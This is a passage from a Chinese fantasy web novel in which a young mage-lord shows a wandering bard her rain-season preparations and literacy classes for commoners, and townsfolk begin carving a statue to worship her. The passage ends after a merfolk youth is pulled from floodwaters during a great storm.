“领主大人将其命名为卫生间！”阿苗快乐地说，“领主大人说每个人都要讲卫生，爱干净，新阿索城的每位居民都不许随意大小便，牲畜的粪便也要及时打扫干净呢！对了，还要经常洗手，玛雅夫人会不定时派人上门检查呢！” 一开始总有人做不到，或者干脆懒得做，然后就会被拎出来当众批评，更直接扣除贡献，然后大家就都学会了…… 灰鸦脚步一顿，“那里就不用去了吧？” 不是，谁要去看粪坑啊！ 你这孩子怎么回事！ 不过说起来，还真是，新阿索城确实比她迄今为止见过的任何一座城镇都干净，哪怕刚下过雨，也不必担心踩一脚那啥。 甚至空气中也没有熟悉的臭味！ 啊，真棒！ 见灰鸦死活不肯继续挪动脚步，阿苗遗憾地放弃了这个环节，又将大大小小的风车展示给她看。 “领主大人用魔法修建了很多风车，可以取水，也可以用来给粮食脱粒、磨粉，牲畜们都不会太累，也不容易生病，能产更多的奶、长更多的肉。” 奶和肉？ 灰鸦敏锐地捕捉到这两个字眼，“普通居民平时也能吃到吗？” 正常人绝对不会主动提及接触不到的东西。 但如果是真的，那就太不可思议了！ 谁能想到呢，普通居民不但没被饿死，竟然还能吃肉喝奶？！ “对呀，”阿苗毫不迟疑地点头，骄傲地说，“就像我一样，这里的每一位居民都有工作，都可以为新阿索城做出贡献，领主大人说努力工作的人理应得到回报。” 当然不是每天，但玛雅夫人和领主大人亲自制定了一系列“贡献表格”，所有人都可以根据自己做出的贡献换取想要的物资。 只要努力工作，基本上大家每个月都能见到荤腥。 像阿苗这种有一技之长，贡献特别突出的，还经常能换一点可口的糖果和蛋挞呢！ 不过最令灰鸦惊讶的还是【集水魔法阵】。 “多么天才的想法！” 一阵多用，简直完美！ 说起这个，即便是云漠也难免有点自得，“现在一共有六个魔法阵，大部分时间无需启动，但现在雨季已经到来，它们就要工作啦。” 灰鸦发现每个魔法阵旁边都有巨大的陶缸，显然为存水做好了准备，赞叹的点了点头，“是的，非常合理。” 很多人可能觉得雨季最多的不就是水吗？又怎么会需要存水呢？ 其实恰恰相反。 每年这个时候，连最可靠的冷水河都变得狂躁，暴涨的河水一刻不停地呼啸着奔腾着，吞噬着所能够到的一切。 连绵的暴雨大概率会引发洪涝灾害，而洪灾又会杀死大批生物，它们的尸体和各种垃圾泡在一起，完全就是污染源，一旦不小心喝到脏水，一定会生病。 每年因饮用脏水、食用被污染的食物而生病、死亡的例子不在少数。 更严重的，甚至还会在高温作用下爆发瘟疫，许多小型村落和部族都因此而灭绝。 集水魔法阵收集到的是最纯净的纯水，从根源隔绝了污染，既可以最大限度地防潮除湿，又能保障基础用水，可谓一举多得，利用到了极致，也难怪见多识广的灰鸦都惊讶。 “能够绘制成熟的魔法阵，你的铭文已经有了相当高的水准。”灰鸦叹道，“对了，之前跟那名兽族战士的什么背心，也是魔法产物不是吗？” “石斧不是兽族，只是因为信仰兽神，所以获得兽神赐福，拥有部分兽化能力。”云漠纠正道。 她们回来之前，石斧还特意去集市那边找了她一次，购买了一件沁凉背心，当场激活使用。 “雨季和高温马上就要到了，野兽比人类的感知更敏锐，它们马上就会努力储存体力后迁徙，或是躲藏起来，接下来的两个月狩猎都会变得艰难，我需要尽可能多的为族人储存食物……” 第77章 崇拜 了解到沁凉背心的功效后，灰鸦当场表示自己很有兴趣。 云漠和石斧齐刷刷扭头看过来，虽然没说一个字，但满脸都写着：你感兴趣的事多了，有钱吗？ 穷鬼灰鸦顿时胸闷。 现在看到新阿索城的内部建设，当时的记忆再次冲击着游吟诗人敏感纤细的内心，她捂着胸口缓解不适，又走了一段之后，忽然看见一座房子。 那房子本身并不显眼，但被一大片空地环绕，也没有烟囱，显得有些突兀。 空地明显精心整理过，非常平整，上面还有一道道白线？ “那是什么？那座房子是做什么的？” 灰鸦不解地问道。 她隐约听见有声音传来，不止一道，有明显的节奏。 云漠笑了笑，示意她自己过去看。 灰鸦早就好奇了，得到主人同意后立刻跑过去，趴在窗口向内望去。 等看清里面的人到底在做什么后，灰鸦倒吸凉气，扭头看向云漠的眼中已经带了震惊。 知识，天呐，她竟然主动教授给平民知识！ 要知道，无论哪个国家和种族，贵族们维持统治的重要手段之一就是垄断知识。 借助这种方法，平民永远都没有机会识字，更别想接触高深的魔法和武技，自然就无法反抗，世世代代为贵族服务。 可现在，这位贵族出身的年轻领主，非但不禁止，反而主动教授平民学习算数？！ 这太疯狂了！ 哪怕见多识广的灰鸦，面对这种情况也不禁一阵晕眩。 她用力捏了捏眉心，空前认真地对云漠说：“这太危险了，作为朋友，我建议你不要这么做。” 云漠有些诧异地看了她一眼，“我以为你更倾向于为平民发声。” 刚来那几天还天天弹奏六弦琴骂贵族来着。 虽然知道灰鸦的本意并非讽刺自己，但好歹这副身体也是贵族，多少有点被扫射到。 也就是她心胸宽广，哼哼，不然换别人早给撵出去了。 “不，你不明白，”灰鸦摇头，严肃地说，“这不仅仅是几个平民的事，消息一旦传出去，所有贵族都将视你为异类、邪恶，会惹大麻烦的。而且平民，我不知道你之前经历了什么，或许某些人的善意温暖了你干涸的内心，但相信我，平民也不全是好人。甚至某些时候，平民更危险更疯狂……” 说到这里，灰鸦停顿了下，“你听过血腥伯爵的故事吗？” 云漠一怔，“似乎有些印象。” 这里的血腥并非指那位伯爵手段残忍，相反，那是一位没得到好报的好人。 灰鸦点头，叹息道：“事实比传说更残酷。” 此时的她目光深邃，眼神复杂，终于流露出几分年长者的疲倦和唏嘘。 若干年前的某个国家有位善良的伯爵，夫妻俩都非常体恤领地内的百姓们，不仅会减免繁重的赋税，还经常赠给大家美味的面包。 而百姓们也很感激，时刻歌颂领主大人的美德，收成好时，还会主动送来新鲜的蔬菜瓜果。 最初一切都很美好，美好得像一片不存于世的梦幻乐土，直到某年大旱。 干旱席卷了每一寸土地，曾经丰饶的田野龟裂开来，空气如流火般翻滚，炙烤着所能接触到的一切。 河床干涸，粮食枯萎，牲畜成群死去，然后就是人。 习惯了被善待的百姓们熟练地向伯爵恳请帮助，伯爵答应了。 但当一筐热气腾腾的粗面包和清水被抬出来时，浓烈的粮食香气瞬间让饥饿的人群失去理智。 他们像野兽一样争抢、互殴，混乱之中数名伯爵府的仆人被踩死，善良的伯爵惊呆了，试图出声阻止时，引火烧身： 有杀红眼的农夫怒视着他，“你之前就有粮食，为什么不主动送给我们？” “最后伯爵、伯爵夫人，还有刚学会说话的小姐都被杀死，伯爵更被剥下人皮，血淋淋地悬挂在城楼上，而被他们帮助过一次又一次的农夫们则洗劫了整座城堡……” 灰鸦平静的语气中也充满了愤怒。 事后，当地所属王国的所有贵族全部震怒，空前团结的发兵围剿，最终将那里踏平。 哪怕过去这么多年，那一带还充斥着浓烈的血腥气。 灰鸦确实看不惯贵族虐待平民，但落魄贵族出身的她同样不赞成无限度地给予平民太多权力。 她见过太多悲剧，清楚地知道大多数人都是愚昧的无知的自私的，容易被煽动、裹挟的，关键时刻必须有精明的领袖镇压，不然一定会乱套。 虽然相识不久，但灰鸦对云漠印象不错，自然不愿看她踏上血腥伯爵的老路。 这番谈话显然超过了普通朋友的范畴，云漠也不禁对灰鸦更多几分好感，再开口时也真诚许多。 “多谢你的建议，我的朋友，不过那些我都考虑过了。你瞧，其实一切不幸的源头都是武力不足，威望不够，无法彻底震慑，但我不同。” 血腥伯爵最大的问题在于没有清醒的自我认知，也不自明白人心险恶，贪婪是多么可怕。 他就是一个养尊处优的滥好人，仅此而已。 善良很好，但无知无度的善良就是愚蠢，并不值得提倡，更不值得被歌颂。 云漠不一样。 作为魔法师兼药剂师，她本人就是暴力的具象化，也从不吝啬以狠辣的手段对付敌人。 当初屠杀鬼狼那一战，就让许多居民连着多少天都不敢直视她呢。 时至今日，也没有鬼狼敢从那里踩过去，都是绕路走的。 而新阿索城的武装暴力机关，精挑细选的巡逻队完全忠于她，全身心地信赖她，仰慕她，源源不断的信仰之力就是最好的证明。 在这片小小的土地上，她就是唯一的真理。 云漠其实没什么当救世主的爱好，教学纯粹是因为新阿索城的人口日益增多，事务繁杂，单靠原来那一个巴掌就能数过来的领导班子完全不足以应付。 她不想累死，也不想玛雅姨妈、霍莉累死，就必须有针对性地培养人才。 灰鸦认真听着，也仔细分辨云漠的神色，见她确实把一切都安排得井井有条，也有着意料之外的狠辣和果决，才算放下心来。 “好吧，看来您确实是一位出色的领袖。”灰鸦摘下破破烂烂的帽子，向云漠低头行了个礼，“为我的莽撞道歉，领主大人。” 云漠敏锐地觉察到灰鸦语气中的细微变化。 之前她对自己并非不尊敬，但那种尊敬更多的还是流于表面，源自灰鸦曾经接受过的教育和个人素质。 但现在，没有技巧，全是感情。 说句不中听的，现在灰鸦绝对不会再当着云漠的面弹奏什么“小羊羔”“白面包”的小曲儿！ 所以这份歉意不仅是为刚才她作为外来者的冒犯建议，更为在集市营地期间不体面的举动。 云漠坦然接受。 接下来的参观中，两人的相处更为和谐，而灰鸦也进一步发现了这位年轻领主的不同：实用。 多年来灰鸦游历各地，接触过不少魔法师，而无论人类还是其他种族，大部分魔法师都有一个特性：热爱研究。 而这一特性就注定了魔法师们大多沉迷于突破自我，不太喜欢为不相关的事分散注意力，就算社交，也多集中在同行和能提供帮助的权贵之间。 简单来说，就是其实大部分的魔法师都相当高高在上，并不怎么关心普通人的生活。 没人觉得有什么不对。 于是眼前这位克劳德女士就显得有些另类了。 她会利用魔法为农户翻地，建造便利的水车和房屋，绘制保障基础生活的魔法阵…… 她似乎并不介意让尊贵的魔法与平凡的日常生活产生关联，也不介意随手帮领地内的居民们改善一下生活。 云漠很久没回来了，玛雅姨妈见她时不禁红了眼眶，第无数次絮叨着“瘦了”“黑了”。 听灰鸦自我介绍后，玛雅姨妈的眼睛亮了下，“哦，我早就听过你的故事，这可真是太巧了，快请进来坐吧。” 小孩子们总是长得很快，云漠分明记得上次离开时还是两棵小萝卜头，可这次回来一瞧，又长高了一大截。 两人热烈地表达了自己的思念之情，又大大方方上前，对灰鸦问好。 经过玛雅姨妈的教导，姐妹俩已经褪去最初的胆怯，很像那么回事了。 灰鸦注意到姐妹俩脖颈间都挂着红绳，底部下坠拉长，似乎挂着某种重物。 她原本没在意，可夏天的衣服领口很大，小河弯腰时，那挂坠就滑了出来。 是个木雕小人。 很眼熟。 这么想着，灰鸦下意识看向云漠。 啊哈。 晚间用餐，餐桌上摆满了香喷喷的蓬松麦饼，金灿灿的流油烤肉，还有热乎乎鼓胖胖的菜肉包子，各色炒蔬菜等等。 作为客人，灰鸦面前堆满了食物，上一口还没咽下去，下一份就又补上了，撑得肚皮溜圆。 饭后还有酸甜可口的果汁和酸奶，简直吃不完！ 饱腹感让灰鸦的大脑变得迟钝，她懒洋洋地窝在椅子里，一点儿都不想动弹。 啊，真舒服呀。 大河、小河对她带来的月牙琴很感兴趣，隔着桌子不断偷看，像两只小松鼠。 灰鸦来了兴趣，坐直身体，掏出月牙琴抱在怀中，冲她们抬抬下巴。 两个小姑娘对视一眼，嘻嘻笑着跑过来，一左一右在她身边坐下，眼巴巴看着。 灰鸦笑着拨弄琴弦，音色如月光般清亮柔和，小姐妹俩惊呼连连。 灰鸦教她们唱了几句，怎么说呢，比鸭子叫略强一点，忍不住揉了揉耳朵。 “对了，”她指了指姐妹俩脖子上的挂件，“那是什么？我可以看看吗？” 小河掏出挂件给她看，眼睛亮闪闪的。 灰鸦一看就笑起来。 雕工很粗糙，硬是把领主大人弄成了大饼脸，不过眼神出奇神似，叫人一眼就能认出来。 “为什么带着这个？” 灰鸦问。 姐妹俩抿嘴儿笑，语气却非常认真，“领主大人会保护我们的。” 领主大人多么强大且富有智慧呀，只要有她在，就没什么可怕的。 灰鸦挑了挑眉，“只有你们有吗？” “很多人都有的，”大河小声说，“不过有的雕刻得好，有的刻得不好。” 小河接着说：“我们每天都会祈祷，祈祷领主大人健康，祈祷大家一直都能吃饱，不生病，祈祷不要有洪水，不要有雪灾，不要有可怕的野兽……” 灰鸦失笑，“你们求的还挺多。” 小河嘿嘿笑起来，带了几分羞涩。 “其实我们正准备为领主大人做一尊大的雕像，立在领地里，这样就可以经常供奉了。”大河压低声音，神神秘秘地说，“您要来吗？” 灰鸦：“哈？” 第78章 客人 领主城堡四面多山丘，有不少早期从无尽黑山冲下来的巨石，质地坚硬，不易崩坏，特别适合雕刻。 新阿索城的居民们选了一块近五米高的，非常沉重，上百个人合力才将它运回领地。 灰鸦注意到，巨石表面已经用灰色石粉勾勒出轮廓，是一名高举法杖、昂首挺立的少女形象。 少女背后则是缠绕着的藤蔓，张牙舞爪，恍如魔兽，非常威风。 虽然还没正式开工，但大河每次看到这块石头都会忍不住激动，“真漂亮呀，不是吗？” 小河的反应则更直接： 她像现场的某些居民一样，从胸口掏出木雕吊坠，轻轻亲吻，低声祷告。 这些人虔诚的姿态跟信徒拜神没什么分别。 老实说，漂不漂亮的，现在什么也看不出来，但或许是居民们过分虔诚，又或是被巨石笼罩的本能，都让灰鸦油然生出一种确实如此的感觉。 她忍不住环视四周，目光从每一位热烈参与的居民脸上滑过，发现哪怕大汗淋漓，也没有一个人心生退意。 她们的双眼闪闪发亮，眼底深处闪耀着名为希望的情绪，这种澎湃的感情滋生出无穷的动力，让她们有勇气面对一切可能发生的困难。 灰鸦收回视线，缓缓吐了口气，重新将目光放到那块黑色巨石上，仿佛能看见四面八方源源不断汇聚而来的信仰之力。 是的，那位年轻的魔法师，领主小姐，俨然已经是一名相当合格，相当出色的领袖了。 “这种石头是最坚硬的品种之一，”灰鸦对大河说，“又这么大，要很久才能做好吧？” 哪怕粗粗雕刻出轮廓，对这群既不懂魔法，也不精通武技的普通人而言都是无比艰巨的任务，或许需要两年、三年，甚至更久。 “是的，”大河点点头，用力抿了抿嘴唇，像作出重大承诺那样说，“这是领主大人的第一座雕像，我们都想好好做。” “她本人知道吗？”灰鸦问。 这么大的动静，想不知道都难吧？ 果然，大河笑着点头，“原本我们想趁领主大人不在家的时候把石头悄悄弄回来的，但……” 那巨石的沉重超出所有人的想象，拖动的时候地面都会颤抖，瞎子都能“看见”了。 “她喜欢你们这么做吗？” “呃，其实一开始好像不太赞成，不过也不算讨厌……” 云漠确实很想收集信仰之力，但目睹别人为自己竖立雕像什么的，对一个来自现代社会的人而言，实在有点羞耻。 对此，玛雅姨妈的态度异常坚决果断。 她认为领主本应受到敬仰和崇拜，而塑像则是其中最为重要的一环，非常有助于帮领袖树立威望。 于是在大管家玛雅夫人的主张下，雕像选址很快落实。 甚至中间巨石卡住，上不去山坡时，玛雅夫人还果断驱使领主本人动用魔法搬运…… 不得不说，搬运巨石时云漠的心情相当复杂，活像提前为自己撰写获奖感言的黑幕…… “夫人跟我们说，其实领主大人也挺高兴的……”大河嘿嘿笑出声，显然对未来很期待。 灰鸦走过许多地方，大到国家，小到部族，规模和人口接近的小城也不在少数，但没有一个地方的人们像这里的一样从容。 她们建立雕像并非为了讨好，也不是完成什么讨厌的任务，而是主动向要这么做。 而这份从容完全建立在领主本人的实力和对她的信任之上： 居民们的基本生活得到保障，所以才有余力去做别的。 她们相信现在的领主能带领大家过上好日子，所以不怕，所以也敢耗费这么多时间和精力来雕刻一尊不能吃也不能喝的石头雕像。 次日灰鸦去书房找云漠时，后者正在投喂一只灰色大鸟。 “咦，这种鸟多生活在海边峭壁上，怎么会出现在这里？”灰鸦诧异道。 “你还真是见多识广，”云漠啧了声，趁着大鸟低头啄食，屈起手指轻轻蹭了蹭它的小脑瓜，然后用另一只手解下绑在腿上的书信，“这是生活在海边的朋友们送给我的。” 最近几天都很湿热，又刮风又下雨的，显然正在酝酿一场暴雨。 湿漉漉的空气会让鸟儿们的羽毛变得沉重，刁钻的狂风也让飞行难度骤增，本地鸟儿们都不怎么敢飞了。 但这种水鸟不同。 它们从出生就与瞬息万变的海风喝汹涌的海浪为伍，内陆地区的些微风雨对它们而言根本不算什么。 不过因为新阿索城距离海螺部落很远，为保障时效和信使的安全，书信就不能太重，对字数的要求很高，这封信统共也不过几十个字而已。 夏日多雨，送信途中难免打湿，云漠等人用的是绿藤推荐的一种特殊麻布，混合若干植物汁液和矿石粉末制成墨水，着色力极其恐怖，完全不褪色，收到信后只能火烧销毁。 这只经过精挑细选的水鸟显然很清楚自己的价值和本事，一边吃一边抖落羽毛上细密的水珠，偶尔抬起头来梳理几下，得意极了。 云漠果然吃这一套，打开门冲外面喊，让人准备可口的小鱼干。 今天这封是海螺部落对云漠求购冰鱼鳞的回应。 因冰鱼一生中大部分时间都生活在寒冷的极北地带，海螺部落能捕到的并不多，可能一年只有个位数。 而冰鱼鳞粉末除了是精神力药剂的重要材料之外，还是非常高级的水系、冰系魔法载体，也是海螺部落的族长，那位水系魔法师需要的。 到手的少，用的多，还要留点儿存货以防万一。 结果就是海螺部落也没多少盈余。 不过对方主动表示，如果云漠真的有急用，她可以临时匀出来几片，就是会很贵。 云漠不禁有点泄气。 君子不夺人所爱，别说人家也紧紧巴巴的，就算自己厚着脸皮换来，区区几片够干什么的呢？ 见她沮丧，正试探着逗弄“信使”的灰鸦主动开口说：“如果你真的急需，要不要找专业的商人？” 听到这里，云漠的表情立刻复杂起来，“地精吗？” 你们游吟诗人还真是不怕死啊！ 什么东西都敢招惹！ 如果说矮人只是兼职做买卖，那地精就是纯血商人，血腥残暴，卑鄙下流又无耻，周扒皮见了都要甘拜下风的那种。 曾经有人跟地精做生意，付款时就差一枚银币，正担心交易会取消时，地精却很慷慨地表示： “区区一枚银币而已，怎么能让它成为我们伟大友谊之间的阻碍呢？ 朋友，您高贵的品格和出色的信誉令人钦佩，您既是可爱的客人，也是珍贵的朋友，我相信您绝对不会赖账的对吗？既然如此，我们将允许您一年之后再补齐。 哦，请相信我们，也务必让我们相信您，不过区区一枚银币而已……来，签下这份契约……” 然后那“区区一枚银币”就在短短一年之后暴涨为12枚金币，价格翻了几十倍有余。 那名倒霉的商人被吓坏了，拒绝付账，但很快就绝望地发现，当初他被糊弄着签下的契约处处是陷阱，而且具备魔法契约效力…… 最终，地精“勉为其难”地收下了一整份人类产业，而人类商人也收获了来自地精的感谢，以及当场昏厥吐血的结局。 “倒也没紧急到那种地步，”什么家底啊，敢跟地精做买卖！云漠一口否决，“慢慢找着吧，而且我还可以请精灵们帮忙联络下人鱼族。” 相比海螺部落，人鱼族才是真正的大海原住民。 据说它们的身体构造比普通鱼类还要精巧，可以下潜到很深很深的地方，而且极耐严寒。 别说抓捕南下的冰鱼，或许人鱼们平时还会主动北上，跑到冰鱼生活的海域玩儿呢！ 第79章 人鱼 云漠很忙，并没有太多时间陪灰鸦，把人带回来之后基本就放她自己玩儿了。 而灰鸦也很识趣，不白吃白喝，四处溜达的过程中经常会搭把手，见到什么干什么。 她精通武技，又因常年在外“流浪”而极富生存经验，修牛棚、挖水渠、找柴火、抓鸡摸蛋喂牛样样在行。 见大河等人的雕刻大业慢得像蜗牛，偶尔也会忍不住出手，帮忙砍下大块废料，引来众人整齐的赞叹。 灰鸦并不擅长雕刻，但她的力气很大，下手精准又有分寸，效果极佳。 她不怎么精通烹饪，但很好养活，哪怕谁家做出来一锅狗屎一样的饭菜，被邀请一起用餐时，灰鸦也能吃得津津有味且赞不绝口。 短短几天下来，新阿索城的居民们就对这位见多识广又热心肠的游吟诗人产生了极大的好感…… 在灰鸦向世人展示社交恐怖分子的可怕之处期间，大雨开始成为常态，相邻的两场雨之间几乎没有间隔，冷水河主干和支流的水位持续上涨，湿漉漉的空气中弥漫着腐烂的气息。 新阿索城地势很高，倒不担心被倒灌，可生活依旧受到了影响。 原本清澈的河水变得浑浊，许多陈年垃圾、腐殖质混合着刚淹死的小动物尸体和排泄物上浮，云漠出去看了一圈，干呕了一顿，回来就号召居民们使用基础过滤器，务必过滤后烧开了再喝。 亲眼见证一罐污水变得清澈后，灰鸦的眼睛都亮了，对这种过滤器表现出极大的兴趣，云漠也没有藏私，慷慨地分享了做法。 “其实没什么特别的，关键是顺序，先用小石块过掉大垃圾，再用细沙滤掉小垃圾，再来一层木炭。最后一步最重要，要铺垫很多层密实的织物，不要吝啬，要塞得紧紧的，还要经常更换，防止发霉。” 这是后世经过反复考验的基础水过滤器，能有效过滤掉肉眼可见的固态垃圾和虫卵等，再配合高温消毒，基本就没有安全隐患了。 灰鸦点头表示记住了，但唯独对烧开水不太理解，“过滤之后的水已经很清澈了，现在又是夏天，为什么要浪费这么多珍贵的柴火烧开了，然后再放凉后饮用呢？” 别说这个时代，哪怕后世，本国之外的人们也没有烧开水的习惯，云漠对此并不意外。 她想了下，努力说得通俗易懂，“你常年在外，一定知道每年大雨过后总会伴随大范围疾病吧？” 灰鸦问：“你是说，是水？” “准确地说，是水里的脏东西，我们的眼睛看不见的脏东西。”云漠顺手施展了【集水】魔法，很快，桌上的茶杯里就吧嗒吧嗒落下来几滴清澈的纯水，“你看，这是魔法的产物，世上最纯粹的水，直接饮用完全没有问题。但我并不建议长期喝，因为它虽然没了脏东西，也把某些对身体有益的东西去掉了。” 这套理论对没接触过的人来说其实有点复杂，但灰鸦很聪明，很快就学会举一反三。 “嗯，似乎确实如此。我曾经在某处山地停留过一段时间，那里的人们都饮用当地甘甜的泉水，不仅寿命要比别处的人长，而且大多身体健康，衰老得很慢，就连牙齿也比外面的人要白，头发也更浓密、富有光泽。” 相反的，那些水源被污染的地区，人们确实经常生病，甚至因为一场莫名其妙的传染病而灭族。 但云漠没有将希望完全寄托在过滤器上，因为今年的雨水似乎比去年更大。 她花几天时间将附近都用精神力【扫描】了一遍，彻底检查了树木们的状态，有病有虫的赶紧治，枝叶过分繁茂的就修剪下，歪的、根系浅的直接用木系魔法催生根系，仅仅扒住土地，防止被水流和大风带倒。 森林不仅能有效阻止洪水泛滥，关键时刻还可能变成小动物们最后的避难所。 森林、山脉和河湖慷慨地给予了云漠生存的底气，她也就有义务在必要时刻守护这一切。 做完这些后，云漠压缩了钻研的时间，每天都施展虚空魔法【集水】，配合魔法阵储备了大量纯水，密封后保存。 没有杂质的纯水几乎不可能发霉，完全可以长期保存。 因为过分潮湿，【集水】魔法用起来丝滑加倍，得到的不是水滴，而是成股的溪流，简直像拧开了一个不存在的水龙头一样！ 回到城堡的第九天，云漠见证了来到这里之后的最大暴风雨： 呼啸的狂风嘶吼着刮过，几乎将雨幕吹成横的，放眼望去，天地间白茫茫一片，两步之外就什么都看不清了。 那已经不是下雨，而是什么坏心眼儿的恶毒妖魔捅破了天上的江河，大股水流倾泻而下，眨眼就将平地变成汪洋，坡地变成瀑布。 直到深夜，云漠还能听见远处浩瀚森林中此起彼伏的断裂声。 风太大了，哪怕提前做了措施，还是有不少树木的枝桠被撕裂。 第二天中午，风势变小，巡逻队成员重新爬上哨楼，云漠也冒着雨去城墙外探查四周情况。 她又发现了【集水】魔法的新用途！ 在头上顶一个，水立刻就被汇聚到一起流走了，干净舒爽！ 雨还在下，水位暴涨的冷水河河面宽了数倍不止，沿岸许多树木都被淹的只剩下绿色的树冠。 冷水河彻底抛弃了旱季的温柔腼腆，摇身变为咆哮的恶龙，浑浊的泥浆横冲直撞，掀起数米高的浪花，声势惊人。 云漠没靠太近，操纵藤蔓救了几只在水中挣扎的小动物，简单查看了洪水蔓延趋势就转身离去，期间还遇到了几名巡逻的精灵。 风急雨大，双方都没停下寒暄，只用银哨子表明彼此身份后便匆匆离去。 刚回到哨楼那边，云漠就听上面的人喊，“尸体，有人被淹死啦！” 尸体？ 云漠三下两下上了树，眯着眼睛一瞧，远处翻滚的支流中还真漂着个人！ 她立刻挪到靠近水面的另一棵树上，操纵藤蔓将人捞起来，带回城门内的“值班室”抢救。 “领主大人！这人身上好凉呀，会不会已经死了？”前来接应的巡逻队成员一碰到落水者的身体就吓了一跳。 “应该没有，我能感觉到微弱的心跳。”云漠发现事情好像有点不太对劲：救回来的落水者哪怕身上脏兮兮的，满是污泥，也掩藏不住那张出色的脸蛋。 而且，这人的头发是深蓝色的！ 这几年她活动频繁，交际极多，也算把周边诸国的居民认了个遍，大家的发色不尽相同，黑的棕的灰的，还有精灵族的绿发，矮人的红发，唯独没有蓝色！ 不等云漠进行抢救，那人就缓缓睁开了眼。 云漠和巡逻队员们整齐地吸了口气：好漂亮的蓝眼睛！ 云漠脑海中突然冒出来一个大胆的猜测，马上上手摸了摸对方的身体。 嗯，还是很冷，跟外面的河水一样冰冷。 这人看上去年纪不大，眼神很清澈，云漠伸手摸的第一时间躲了下。但或许是没感应到敌意，马上就不动了，甚至还有点儿好奇地主动蹭她的手。 云漠面无表情收回手，用力捏了捏眉心，转头对一名巡逻队员说：“去请灰鸦过来。” 灰鸦很快到来，速度快得惊人。 看到地上躺着的陌生来客，灰鸦“咦”了一声，也熟门熟路的弯腰去摸，然后维持着单膝下蹲的姿势扭头看云漠，“身体异常冰冷，心跳极慢，偏偏又很健康……” 云漠接话，“又是这样的发色和瞳色……” 两人交换个眼神，同时给出答案： 人鱼！ 这根本就不是人，而是一条人鱼！ 云漠示意灰鸦过来，两人脑袋挨着脑袋咬耳朵： “人鱼族不是常年生活在东边的大海里吗？怎么会出现在这里！” “呃，你要明白，任何种族都不乏异类，雨季以来河水暴涨，风雨又是从东方海面上刮来的，难免有部分地方水流倒灌，或许就有好奇心浓烈的人鱼逆流而上……” 说到这里，两人默契地停住话题，整齐地扭头。 陌生来客眨了眨眼，歪头，湿漉漉的长发海藻般蜿蜒黏贴在雪白的面颊上。 云漠：“……” 说老实话，有点像水鬼。 “说起来，”她再次压低声音问灰鸦，“TA是男是女？” 灰鸦抓抓头发，有些惊讶地反问：“你竟然不知道吗？人鱼在成年前是不分性别的！” 云漠：“……？！” 不是，这么重要的信息，上次你怎么不说！ 灰鸦尴尬一笑，“你也没问呐！” 普通人鱼的寿命跟一般大鱼、人类没什么区别，只能活百十年而已，二十岁之前就会陆续根据需要和周围的族群环境确定性别。 但部分水系魔法天赋出众的高等人鱼会掌握化形的技巧，拥有短时间内上岸行走的本领，寿命也会延长。 不过人鱼族天生离不开水，哪怕变换为人类形态也需要不断补充水分，所以通常只在阴雨天出没。 又因为它们面皮苍白，肌肤冰冷，常被偶遇的人误以为水鬼…… 云漠又看了看这只“水鬼”，“你自己来的吗？还是在哪里跟家人走散了？” 据说人鱼也是相当护短的族群，万一这小东西是走丢了的，被误会成鱼贩子就不好了。 尤其现在大雨连绵，简直就是水陆两栖生物的天下。 “水鬼”眨了眨眼，“嘎嘎！” 云漠：“……” 过了不知多久，她才确认自己听到了什么，一脸懵逼的看向灰鸦，“不是说人鱼族拥有天籁般的歌喉，足以引诱人溺毙吗？” 就这？！ 就特么这种见鬼的公鸭嗓？！ 是噪音吧？ 还不如我呢！ 不光云漠震惊，在场的两名巡逻队员也是一副被雷劈的表情，其中一个人甚至晕晕乎乎的推窗看外面，坚信一定是哪里跑来了水鸭子，也不肯相信这种可怕的声音是从“漂亮脸蛋”体内发出的。 灰鸦抱着胳膊笑了半天，边擦眼泪边说：“你也说是歌喉，可现在人家没唱歌不是吗？” 见云漠满面茫然，灰鸦才进一步解释说：“人鱼的身体非常特殊，它们在水中时发出的声音确实非常动听，但所谓的歌喉只是人类的误解，实际上那只是它们的鱼鳍、鱼鳃震动，混合着鱼尾拍打水面形成的乐曲……” 变成人之后，鱼类构造没了，剩下的只有公鸭嗓。 云漠：“……” 果然童话故事也不是完全胡诌，人鱼上岸后当哑巴还是很有必要的。 这样的脸蛋配上这样的嗓音，多幻灭啊！ 第80章 声纳 云漠完全不懂人鱼族的语言，临时聘请灰鸦作为翻译官，负责双方沟通。 奈何灰鸦也是个半吊子，张嘴结结巴巴不说，还伴随间歇性耳聋：“你叫什么名字，怎么会来这里呢？什么……呃，马粪？” 人鱼的漂亮脸蛋在云漠眼皮子底下骤然变色，腮帮子一鼓，“噗噗噗”对着灰鸦狂吐口水。 人鱼族的水系魔法天赋在此刻显露无疑，云漠感觉到周围的水系元素如同烧开了的沸水般翻滚起来，ta嘴里就跟按了个水龙头似的，狂喷不止！ “啊啊啊！”游吟诗人被浇了个头顶，狼狈抱头鼠窜。 云漠：“……” 这都什么乱七八糟的！ 喷完一个回合，人鱼再次响起的嘎嘎声中充满了肉眼可见的愤怒和激动。 灰鸦用力抹一把脸，重新问了一遍，恍然大悟，扭头对云漠邀功，“原来不是马粪哈哈，它的名字比较难读，但换成人类语言就是粉色珍珠的意思。” 没有半点翻译失误的羞愧。 云漠：“……” 好好一个小珍珠，你给翻译成马粪，这谁能不炸？ 不过马粪还是珍珠都不重要，现在最要紧的是弄清楚这小东西怎么来的，万一家长追来闹出误会就不好了。 但是接下来不管灰鸦怎么问，粉色珍珠同志都拒绝回答，且对这类问题相当排斥，一度让云漠怀疑灰鸦的人鱼语太烂，惹得后者大呼冤枉。 烂归烂，但对方突然效仿河蚌不开口，我有什么办法嘛。 云漠大胆推测，这小东西叛逆期到了，搞离家出走！ 走到半截迷路了，又累又饿，就在水里睡着了，然后被云漠捞回来。 这倒是有点麻烦。 不管什么种族的中二期都是猫嫌狗厌，还特别喜欢不讲理…… 来的都是客，弄都弄回来了，倒不好再丢出去，可让这颗珍珠住屋子呢，还是住水池子？ 云漠啧了声，她还没养过鱼呢！上来就弄这么高难度，真是棘手。 倒是城堡角落里有个房间比较潮湿，外面几步就是内城蓄水池下游，完全可以满足对方水陆两栖的需求，也不影响居民们日常用水。 就这么办吧。 云漠托灰鸦先带珍珠过去，顺便跟玛雅姨妈说一声。 临走前，她还向这两位请教了一点人鱼语，主要是书面，照葫芦画瓢会写了才放她们走。 需求是第一生产力，云漠忽然有了点新灵感： 魔法本质都是精神力和魔法元素的流动作用，既然植物可以在木系魔法的作用下变换各种形态，组成各种图案，水为什么不可以呢？ 云漠的魔法基础打得很牢，对这种基础变形魔法也算一通百通，虽然刚开始略有点生涩，但很快就找到规律，字迹也逐渐排列得整齐、清晰。 离开值班室时，房顶内部就多了个小型魔法阵，外面的暴雨中赫然立着一排水流组成的字幕： 